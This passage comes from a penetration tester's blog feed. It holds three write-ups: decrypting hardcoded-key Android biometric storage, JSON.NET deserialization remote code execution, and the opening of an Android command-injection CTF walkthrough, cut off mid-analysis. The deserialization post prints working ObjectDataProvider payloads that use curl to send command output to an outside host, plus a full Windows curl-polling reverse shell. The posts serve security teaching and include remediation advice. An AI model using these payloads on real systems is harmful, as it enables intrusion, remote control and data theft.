<span class="n">IV_B64</span>     <span class="o">=</span> <span class="s">"bVQzNFNhRkQ1Njc4UUFaWA=="</span>
<span class="n">ITERATIONS</span> <span class="o">=</span> <span class="mi">10_000</span>
<span class="n">KEY_LEN</span>    <span class="o">=</span> <span class="mi">32</span>

<span class="n">ap</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">()</span>
<span class="n">ap</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"--blob"</span><span class="p">,</span> <span class="n">required</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Base64 BiometricData value"</span><span class="p">)</span>
<span class="n">args</span> <span class="o">=</span> <span class="n">ap</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>

<span class="n">password</span> <span class="o">=</span> <span class="n">SECRET_STR</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>
<span class="n">salt</span>     <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">SALT_B64</span><span class="p">)</span>
<span class="n">key</span>      <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">pbkdf2_hmac</span><span class="p">(</span><span class="s">'sha1'</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">salt</span><span class="p">,</span> <span class="n">ITERATIONS</span><span class="p">,</span> <span class="n">KEY_LEN</span><span class="p">)</span>

<span class="n">iv</span>         <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">IV_B64</span><span class="p">)</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">blob</span><span class="p">)</span>
<span class="n">plaintext</span>  <span class="o">=</span> <span class="n">unpad</span><span class="p">(</span><span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">).</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"[+] Decrypted value:"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">plaintext</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">))</span>
</code></pre></div></div>

<p>Running the exploit is pretty straight forward. We can setup a virtual environment:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-m</span> venv venv
<span class="nb">source </span>venv/bin/activate
</code></pre></div></div>

<p>Now we can install dependencies</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip <span class="nb">install </span>pycryptodome
</code></pre></div></div>

<p>And finally, we run the script:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 poc.py <span class="nt">--blob</span> <span class="s2">"aoZw+lyPI9gjZ/Emgq3FERZPf2qdOJTKP27jpAaVMsezaA1P8dwE9I42q9ZMmUUR"</span>
</code></pre></div></div>

<p>We get the plaintext email and password of the user:</p>

<p align="center"> 
<img src="3.png" width="1000" />
</p>

<h2 id="recommendations">Recommendations</h2>

<p>This vulnerability stems from fundamental cryptographic misuses, primarily the hardcoding of encryption materials and the lack of authenticated encryption. To prevent this class of issue, developers should adopt modern cryptographic practices aligned with OWASP MASVS.</p>

<p>The client implemented a fix that was solid!</p>

<h4 id="key-management">Key Management</h4>

<ul>
  <li><strong>Never hardcode keys</strong>, salts, or IVs in code or resources.</li>
  <li>Use the <strong>Android Keystore</strong> (KeyGenParameterSpec) to securely generate and store per-device keys.</li>
  <li>Tie key usage to biometric authentication (setUserAuthenticationRequired(true)).</li>
</ul>

<h4 id="iv-and-salt-handling">IV and Salt Handling</h4>

<ul>
  <li>Always generate a <strong>random IV</strong> for each encryption operation using a secure RNG.</li>
  <li>Salts for KDFs must be <strong>unique per user or device</strong>, and stored alongside the encrypted blob (not hardcoded).</li>
</ul>

<h4 id="encryption-mode">Encryption Mode</h4>

<ul>
  <li>Avoid AES-CBC unless absolutely necessary.</li>
  <li>Prefer <strong>authenticated encryption modes</strong> like <strong>AES-GCM</strong> or <strong>ChaCha20-Poly1305</strong> which provide confidentiality and integrity out of the box.</li>
</ul>

<h4 id="align-with-masvs">Align with MASVS</h4>

<p>Make sure you meet the following MASVS requirements:</p>

<ul>
  <li>MASVS-STORAGE-2: All sensitive data is encrypted using a secure, platform-provided API.</li>
  <li>MASVS-CRYPTO-1: The app uses strong, industry-standard algorithms.</li>
  <li>MASVS-CRYPTO-4: Keys and IVs are generated securely and never hardcoded.</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>This vulnerability demonstrate how <strong>insecure cryptographic implementation can entirely defeat the security promises of biometric authentication</strong>. Despite the UI implying strong protection, the design leaked sensitive credentials and allowed full authentication bypass through nothing more than static analysis and a few lines of Python.</p>

<p><strong>Modern mobile apps must assume full adversary access to the APK and local storage. If your encryption can be replicated outside the app, it’s already broken.</strong></p>]]></content><author><name>Simon Bertrand</name></author><category term="mobile" /><category term="Android" /><category term="crypto" /><category term="biometric" /><summary type="html"><![CDATA[Android - Exploiting Hardcoded Cryptography in Biometric Storage]]></summary></entry><entry><title type="html">Exploiting JSON.NET Deserialization for Remote Code Execution</title><link href="/Deserialization-RCE/" rel="alternate" type="text/html" title="Exploiting JSON.NET Deserialization for Remote Code Execution" /><published>2025-03-14T09:04:00-04:00</published><updated>2025-03-14T09:04:00-04:00</updated><id>/Deserialization-RCE</id><content type="html" xml:base="/Deserialization-RCE/"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>In modern <code class="language-plaintext highlighter-rouge">.NET</code> applications, <code class="language-plaintext highlighter-rouge">JSON</code> is the de facto standard for data exchange between client and server. Libraries like J<code class="language-plaintext highlighter-rouge">SON.NET</code> (Newtonsoft.Json) make serialization and deserialization seamless—but with convenience often comes risk. When developers unknowingly expose deserialization functionality to untrusted input, it opens the door to devastating consequences.</p>

<p>This blog post cover a critical vulnerability found during one of my engagement: Remote Code Execution (RCE) via insecure JSON.NET deserialization. Unlike common injection flaws, this class of vulnerability happens from subtle trust assumptions in object construction, and when exploited correctly, allows an attacker to gain arbitrary code execution on the target system.</p>

<p>Let’s go!</p>

<blockquote>
  <p><strong><em>“To demonstrate the exploitation technique without exposing any client-sensitive infrastructure, identifiable hostnames and token values have been redacted or replaced with placeholders.”</em></strong></p>
</blockquote>

<h2 id="discovery-of-deserialization-sink">Discovery of Deserialization Sink</h2>

<p>During initial recon, I’ve came across an unauthenticated API endpoint accepting <code class="language-plaintext highlighter-rouge">POST</code> requests with <code class="language-plaintext highlighter-rouge">JSON</code> payloads. The endpoint behavior suggested server-side processing of arbitrary JSON structures. A closer inspection of responses and error messages hinted at usage of the JSON.NET library with dangerous settings that allowed attacker controlled input to influence type resolution.</p>

<p>I began testing with various payloads containing the <code class="language-plaintext highlighter-rouge">$type</code> field, which <code class="language-plaintext highlighter-rouge">JSON.NET</code> uses to resolve and instantiate <code class="language-plaintext highlighter-rouge">.NET</code> types dynamically. The application accepted these values and attempted to resolve the corresponding types which is a strong evidence that <code class="language-plaintext highlighter-rouge">TypeNameHandling</code> was enabled server-side.</p>

<p>This was definitely an insecure deserialization sink. An attacker-controlled JSON, dynamic type resolution, and no authentication barrier!</p>

<p>This vulnerability is not limited to the specific access point tested. Any part of the application that accepts a JSON body in a <code class="language-plaintext highlighter-rouge">POST</code> request and processes it using the vulnerable deserialization logic could be exploited in the same way. This considerably widens the attack surface, making the entire application susceptible to exploitation if appropriate validation measures are not implemented.</p>

<h2 id="from-type-confusion-to-code-execution">From Type Confusion to Code Execution</h2>

<p><code class="language-plaintext highlighter-rouge">JSON.NET</code> supports polymorphic deserialization using the <code class="language-plaintext highlighter-rouge">$type</code> field, which allows the incoming JSON to specify the concrete type to instantiate. While useful for legitimate polymorphic models, it’s inherently dangerous when exposed to untrusted input.</p>

<p>I exploited this by leveraging a gadget class in the <code class="language-plaintext highlighter-rouge">.NET</code> Framework: <code class="language-plaintext highlighter-rouge">System.Windows.Data.ObjectDataProvider</code>. This class, when deserialized, can invoke arbitrary methods and effectively becomes a deserialization-based method dispatcher.</p>

<p>Combined with <code class="language-plaintext highlighter-rouge">System.Diagnostics.Process</code>, I crafted a payload that executes system commands on the server and sent it via a <code class="language-plaintext highlighter-rouge">POST</code> request:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/</span><span class="p">[</span><span class="err">REDACTED</span><span class="p">]</span><span class="err">/</span><span class="p">[</span><span class="err">REDACTED</span><span class="p">]</span><span class="err">/Login/Login</span><span class="w"> </span><span class="err">HTTP/</span><span class="mi">2</span><span class="w">
</span><span class="err">Host:</span><span class="w"> </span><span class="err">REDACTED</span><span class="w">
</span><span class="p">[</span><span class="err">…</span><span class="p">]</span><span class="w">

</span><span class="p">{</span><span class="w">
  </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"MethodName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Start"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"MethodParameters"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"$values"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"cmd"</span><span class="p">,</span><span class="w"> </span><span class="s2">"/c dir | curl -X POST --data-binary @- http://my_burp_collaborator"</span><span class="p">]</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"ObjectInstance"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Payload Breakdown:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">$type</code> – Tells JSON.NET to instantiate an ObjectDataProvider, a gadget capable to invoke methods.</li>
  <li><code class="language-plaintext highlighter-rouge">MethodName</code> – Invokes the Start method on the supplied <code class="language-plaintext highlighter-rouge">ObjectInstance</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">MethodParameters</code> – Passes <code class="language-plaintext highlighter-rouge">cmd</code> and a shell command to Start.</li>
  <li><code class="language-plaintext highlighter-rouge">ObjectInstance</code> – The actual <code class="language-plaintext highlighter-rouge">System.Diagnostics.Process</code> object, which executes the command.</li>
</ul>

<p>When deserialized, the application launched a shell, ran the dir command, and exfiltrated the output via curl to my Burp collaborator.</p>

<p>The server returned an error…</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">HTTP/2 500 Internal Server Error
[…]

[…]
Cannot apply indexing with [] to an expression of type
'System.Windows.Data.ObjectDataProvider'.
[…]
</span></code></pre></div></div>

<p>But still receive the content of <code class="language-plaintext highlighter-rouge">c:\windows\system32\inetsrv</code> dir on my Burp collaborator and this confirmed full remote code execution.</p>

<p align="center"> 
<img src="1.png" width="1000" />
</p>

<p>After I confirmed the application was deserializing untrusted JSON with type resolution enabled, I incrementally escalated the attack from simple command execution to full remote shell access. Below is a breakdown of each stage.</p>

<h4 id="environment-fingerprinting">Environment Fingerprinting</h4>

<p>I gathered system-level intelligence to understand the target environment. Using the <code class="language-plaintext highlighter-rouge">systeminfo</code> command, I retrieved OS version, installed patches, system architecture, and domain information. This step helped to determine exploit feasibility and privilege context.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/</span><span class="p">[</span><span class="err">REDACTED</span><span class="p">]</span><span class="err">/</span><span class="p">[</span><span class="err">REDACTED</span><span class="p">]</span><span class="err">/Login/Login</span><span class="w"> </span><span class="err">HTTP/</span><span class="mi">2</span><span class="w">
</span><span class="err">Host:</span><span class="w"> </span><span class="err">REDACTED</span><span class="w">
</span><span class="p">[</span><span class="err">…</span><span class="p">]</span><span class="w">

</span><span class="p">{</span><span class="w">
  </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"MethodName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Start"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"MethodParameters"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"$values"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"cmd"</span><span class="p">,</span><span class="w"> </span><span class="s2">"/c systeminfo | curl -X POST --data-binary @- http://my_burp_collaborator"</span><span class="p">]</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"ObjectInstance"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p align="center"> 
<img src="2.png" width="1000" />
</p>

<h4 id="file-upload-attempts">File Upload Attempts</h4>

<p>I attempted to write several reverse shell payloads directly to the file system using chained shell commands and echo redirection. While the files were successfully written, execution failed likely due to permission restrictions and a very sensitive AV ☹️.</p>

<h4 id="full-remote-shell">Full Remote Shell</h4>

<p>After reworking my approach, I achieved stable remote code execution via a Windows one-liner reverse shell. The payload used curl in a polling loop to communicate with an external server, fetch commands, execute them locally, and exfiltrate the results. This technique avoided spawning an interactive shell, favoring a covert C2-like protocol over HTTPS.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@echo off
&amp; cmd /V:ON /C <span class="o">(</span>
    SET <span class="nv">ip</span><span class="o">=</span>REDACTED:443
    <span class="o">&amp;&amp;</span> SET <span class="nv">sid</span><span class="o">=</span><span class="s2">"Authorization: eb6a44aa-8acc1e56-629ea455"</span>
    <span class="o">&amp;&amp;</span> SET <span class="nv">protocol</span><span class="o">=</span>https://
    <span class="o">&amp;&amp;</span> curl <span class="o">!</span>protocol!!ip!/eb6a44aa <span class="nt">-H</span> <span class="o">!</span>sid! <span class="o">&gt;</span> NUL
    <span class="o">&amp;&amp;</span> <span class="k">for</span> /L %i <span class="k">in</span> <span class="o">(</span>0<span class="o">)</span> <span class="k">do</span> <span class="o">(</span>
        curl <span class="nt">-s</span> <span class="o">!</span>protocol!!ip!/8acc1e56 <span class="nt">-H</span> <span class="o">!</span>sid! <span class="o">&gt;</span> <span class="o">!</span>temp!cmd.bat
        &amp; <span class="nb">type</span> <span class="o">!</span>temp!cmd.bat | findstr None <span class="o">&gt;</span> NUL
        &amp; <span class="k">if </span>errorlevel 1 <span class="o">(</span>
            <span class="o">(!</span>temp!cmd.bat <span class="o">&gt;</span> <span class="o">!</span>tmp!out.txt 2&gt;&amp;1<span class="o">)</span>
            &amp; curl <span class="o">!</span>protocol!!ip!/629ea455 <span class="nt">-X</span> POST <span class="nt">-H</span> <span class="o">!</span>sid! <span class="nt">--data-binary</span> @!temp!out.txt <span class="o">&gt;</span> NUL
        <span class="o">)</span>
        &amp; <span class="nb">timeout </span>1
    <span class="o">)</span>
<span class="o">)</span> <span class="o">&gt;</span> NUL
</code></pre></div></div>

<p>This command established a functional command-and-control loop, giving me full execution capability on the target machine without opening an inbound listener.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/</span><span class="p">[</span><span class="err">REDACTED</span><span class="p">]</span><span class="err">/</span><span class="p">[</span><span class="err">REDACTED</span><span class="p">]</span><span class="err">/Login/Login</span><span class="w"> </span><span class="err">HTTP/</span><span class="mi">2</span><span class="w">
</span><span class="err">Host:</span><span class="w"> </span><span class="err">REDACTED</span><span class="w">
</span><span class="p">[</span><span class="err">…</span><span class="p">]</span><span class="w">

</span><span class="p">{</span><span class="w">
  </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"MethodName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Start"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"MethodParameters"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"$values"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"cmd"</span><span class="p">,</span><span class="w"> </span><span class="s2">"/c@echo off&amp;cmd /V:ON /C "</span><span class="err">SET</span><span class="w"> </span><span class="err">ip=</span><span class="mi">1</span><span class="err">REDACTED:</span><span class="mi">443</span><span class="err">&amp;&amp;SET</span><span class="w"> </span><span class="err">sid=\</span><span class="s2">"Authorization: eb6a44aa-8acc1e56-629ea455</span><span class="se">\"</span><span class="s2">&amp;&amp;SET protocol=https://&amp;&amp;curl !protocol!!ip!/eb6a44aa -H !sid! &gt; NUL &amp;&amp; for /L %i in (0) do (curl -s !protocol!!ip!/8acc1e56 -H !sid! &gt; !temp!cmd.bat &amp; type !temp!cmd.bat | findstr None &gt; NUL &amp; if errorlevel 1 ((!temp!cmd.bat &gt; !tmp!out.txt 2&gt;&amp;1) &amp; curl !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!out.txt &gt; NUL)) &amp; timeout 1"</span><span class="w"> </span><span class="err">&gt;</span><span class="w"> </span><span class="err">NUL</span><span class="s2">"]
  },
  "</span><span class="err">ObjectInstance</span><span class="s2">": {
    "</span><span class="err">$type</span><span class="s2">": "</span><span class="err">System.Diagnostics.Process</span><span class="p">,</span><span class="w"> </span><span class="err">System</span><span class="p">,</span><span class="w"> </span><span class="err">Version=</span><span class="mf">4.0</span><span class="err">.</span><span class="mf">0.0</span><span class="p">,</span><span class="w"> </span><span class="err">Culture=neutral</span><span class="p">,</span><span class="w"> </span><span class="err">PublicKeyToken=b</span><span class="mi">77</span><span class="err">a</span><span class="mi">5</span><span class="err">c</span><span class="mi">561934e089</span><span class="s2">"
  }
}
</span></code></pre></div></div>

<p>Connection received:</p>

<p align="center"> 
<img src="3.png" width="1000" />
</p>

<h2 id="recommendations">Recommendations</h2>

<p>To prevent exploitation scenarios like the one described in this article, teams should adopt a secure-by-default approach to deserialization. Below are practical, technical mitigations:</p>

<p><strong>Defensive Coding Practices</strong></p>
<ul>
  <li>Disable <code class="language-plaintext highlighter-rouge">TypeNameHandling</code> globally in JSON.NET unless there’s a legitimate business case. If required, avoid <code class="language-plaintext highlighter-rouge">TypeNameHandling.All</code>; prefer <code class="language-plaintext highlighter-rouge">None</code>.</li>
  <li>Implement a custom <code class="language-plaintext highlighter-rouge">SerializationBinder</code> to strictly control which types can be deserialized. Whitelisting is critical.</li>
</ul>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">new</span> <span class="n">JsonSerializerSettings</span> <span class="p">{</span>
    <span class="n">TypeNameHandling</span> <span class="p">=</span> <span class="n">TypeNameHandling</span><span class="p">.</span><span class="n">Objects</span><span class="p">,</span>
    <span class="n">SerializationBinder</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">SafeTypeBinder</span><span class="p">()</span> <span class="c1">// implement whitelisting</span>
<span class="p">}</span>
</code></pre></div></div>
<p><br /></p>
<ul>
  <li>Never deserialize user input directly. Isolate or pre-validate untrusted data before passing it into any deserialization logic.</li>
  <li>Treat deserialization as dangerous by default, especially if the source is not authenticated or signed.</li>
</ul>

<p><strong>Operational Security Measures</strong></p>

<ul>
  <li>Use runtime application self-protection (RASP) or EDR tools to monitor process launches from application servers.</li>
  <li>Apply strict egress filtering. Block outbound connections from app servers unless explicitly required.</li>
  <li>Harden the runtime. Run .NET apps with constrained privileges. Avoid running under SYSTEM or administrative contexts.</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>This vulnerability is a great example of how power features in mature libraries like JSON.NET’s polymorphic deserialization can become liabilities when used without a security first mindset. The exploit path from anonymous <code class="language-plaintext highlighter-rouge">POST</code> request to remote code execution was short, silent, and could cause serious impact.</p>

<p>Serialization is not just data handling, it’s executable logic. Treat it with the same caution as SQL or shell commands. At least mitigation is not complex and defaults like <code class="language-plaintext highlighter-rouge">TypeNameHandling.All</code> should be treated as dangerous.</p>

<p>Thank you for reading 🙂</p>]]></content><author><name>Simon Bertrand</name></author><category term="RCE" /><category term="JSON.net" /><category term="deserialization" /><summary type="html"><![CDATA[Exploiting JSON.NET Deserialization for Remote Code Execution]]></summary></entry><entry><title type="html">Mobile Hacking Lab - Cyclic Scanner</title><link href="/Cyclic-Scanner-Mobile-Hacking-Lab/" rel="alternate" type="text/html" title="Mobile Hacking Lab - Cyclic Scanner" /><published>2024-05-15T09:04:00-04:00</published><updated>2024-05-15T09:04:00-04:00</updated><id>/Cyclic-Scanner-Mobile-Hacking-Lab</id><content type="html" xml:base="/Cyclic-Scanner-Mobile-Hacking-Lab/"><![CDATA[<p align="center"> 
<img src="labcyclic.png" width="320" />
</p>

<h2 id="android-services-vulnerabilities-a-mobile-hacking-lab-ctf-challenge">Android Services Vulnerabilities: A Mobile Hacking Lab CTF Challenge</h2>

<p>I got super excited when I saw Mobile Hacking Lab post a new challenge on their platform. I enrolled in the lab immediately and read the instructions and solved it. I didn’t have much time to create the walkthrough but better late than never I guess.</p>

<p>Android Services are components of the Android operating system that perform long-running operations in the background without a user interface. They’re designed to handle operations or perform tasks that should continue even if the user switches to another application. Services can run in the background (background services), work for remote processes (bound services), or execute a specific job that doesn’t require user interaction and stops itself when its task is complete (intent services).</p>

<p>You can access the challenge here: <a href="https://www.mobilehackinglab.com/course/lab-cyclic-scanner">Mobile Hacking Lab - Cyclic Scanner</a></p>

<h2 id="the-challenge-overview">The Challenge Overview</h2>

<p>The objective of this lab is pretty straight forward. Exploit a vulnerability inherent within an Android virus scanner Service to achieve remote code execution (RCE). Let’s boot the application and start the discovery phase.</p>

<h2 id="discovery-phase">Discovery Phase</h2>

<p>The application is very minimal. There’s a button to turn <code class="language-plaintext highlighter-rouge">On</code> or <code class="language-plaintext highlighter-rouge">Off</code> the scanner:</p>

<p align="center"> 
<img src="1.png" width="320" />
</p>

<p>We can’t stop the scanner when it’s running. I decided to run <code class="language-plaintext highlighter-rouge">pidcat</code> to see what was going on…</p>

<p align="center"> 
<img src="2.png" width="720" />
</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>System.out:
  I  starting file scan...
  I  /storage/emulated/0/Music/.thumbnails/.database_uuid...SAFE
  I  /storage/emulated/0/Music/.thumbnails/.nomedia...SAFE
  I  /storage/emulated/0/Pictures/.thumbnails/.database_uuid...SAFE
  I  /storage/emulated/0/Pictures/.thumbnails/.nomedia...SAFE
  I  /storage/emulated/0/Movies/.thumbnails/.database_uuid...SAFE
  I  /storage/emulated/0/Movies/.thumbnails/.nomedia...SAFE
  I  finished file scan!
</code></pre></div></div>

<p>We can see that it’s scanning specific path and mark them as <code class="language-plaintext highlighter-rouge">SAFE</code> when no malicious file is detected.</p>

<p>Let’s go through the code with <code class="language-plaintext highlighter-rouge">jadx-gui</code></p>

<h2 id="code-analysis">Code Analysis</h2>

<p>The first stop is the <code class="language-plaintext highlighter-rouge">ScanEngine</code> class. Let’s go over the interesting bit…</p>

<h3 id="scanengine">ScanEngine</h3>

<p align="center"> 
<img src="3.png" width="720" />
</p>

<h4 id="constructing-the-command">Constructing the Command</h4>

<p>The method constructs a command string to compute the SHA-1 checksum of the file using <code class="language-plaintext highlighter-rouge">toybox sha1sum</code>. This command will be executed in a shell, it should be our entry point for <strong>RCE</strong>. We’ll come back to this later. If you want to jump to the RCE, go straight to the Exploitation section of this article.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">try</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">command</span> <span class="o">=</span> <span class="s">"toybox sha1sum "</span> <span class="o">+</span> <span class="n">file</span><span class="o">.</span><span class="na">getAbsolutePath</span><span class="o">();</span>
</code></pre></div></div>

<h4 id="creating-and-starting-the-process">Creating and Starting the Process</h4>

<p>A <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> is used to create and start a new process that runs the command. The process is configured to use the external storage directory as its working directory and to redirect error streams to the standard output.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="nc">Process</span> <span class="n">process</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ProcessBuilder</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">0</span><span class="o">])</span>
            <span class="o">.</span><span class="na">command</span><span class="o">(</span><span class="s">"sh"</span><span class="o">,</span> <span class="s">"-c"</span><span class="o">,</span> <span class="n">command</span><span class="o">)</span>
            <span class="o">.</span><span class="na">directory</span><span class="o">(</span><span class="nc">Environment</span><span class="o">.</span><span class="na">getExternalStorageDirectory</span><span class="o">())</span>
            <span class="o">.</span><span class="na">redirectErrorStream</span><span class="o">(</span><span class="kc">true</span><span class="o">)</span>
            <span class="o">.</span><span class="na">start</span><span class="o">();</span>
</code></pre></div></div>
<h4 id="reading-the-process-output">Reading the Process Output</h4>

<p>The method retrieves the input stream of the process to read its output. An <code class="language-plaintext highlighter-rouge">InputStreamReader</code> wrapped in a <code class="language-plaintext highlighter-rouge">BufferedReader</code> is used for read and process text data from a byte stream.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="nc">InputStream</span> <span class="n">inputStream</span> <span class="o">=</span> <span class="n">process</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">();</span>
        <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullExpressionValue</span><span class="o">(</span><span class="n">inputStream</span><span class="o">,</span> <span class="s">"getInputStream(...)"</span><span class="o">);</span>
        
        <span class="nc">Reader</span> <span class="n">inputStreamReader</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">InputStreamReader</span><span class="o">(</span><span class="n">inputStream</span><span class="o">,</span> <span class="nc">Charsets</span><span class="o">.</span><span class="na">UTF_8</span><span class="o">);</span>
        <span class="nc">BufferedReader</span> <span class="n">bufferedReader</span> <span class="o">=</span> <span class="n">inputStreamReader</span> <span class="k">instanceof</span> <span class="nc">BufferedReader</span> <span class="o">?</span> 
            <span class="o">(</span><span class="nc">BufferedReader</span><span class="o">)</span> <span class="n">inputStreamReader</span> <span class="o">:</span> 
            <span class="k">new</span> <span class="nf">BufferedReader</span><span class="o">(</span><span class="n">inputStreamReader</span><span class="o">,</span> <span class="mi">8192</span><span class="o">);</span>
</code></pre></div></div>
<h4 id="processing-the-command-output">Processing the Command Output</h4>

<p>The method reads the first line of the command’s output, which contains the SHA-1 hash of the file and extracts the hash from the output.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">try</span> <span class="o">{</span>
            <span class="nc">String</span> <span class="n">output</span> <span class="o">=</span> <span class="n">bufferedReader</span><span class="o">.</span><span class="na">readLine</span><span class="o">();</span>
            <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNull</span><span class="o">(</span><span class="n">output</span><span class="o">);</span>
            
            <span class="nc">Object</span> <span class="n">fileHash</span> <span class="o">=</span> <span class="nc">StringsKt</span><span class="o">.</span><span class="na">substringBefore</span><span class="n">$default</span><span class="o">(</span><span class="n">output</span><span class="o">,</span> <span class="s">"  "</span><span class="o">,</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span> <span class="kc">null</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span> <span class="kc">null</span><span class="o">);</span>
            <span class="nc">Unit</span> <span class="n">unit</span> <span class="o">=</span> <span class="nc">Unit</span><span class="o">.</span><span class="na">INSTANCE</span><span class="o">;</span>
</code></pre></div></div>
<h4 id="checking-against-known-malware-samples">Checking Against Known Malware Samples</h4>

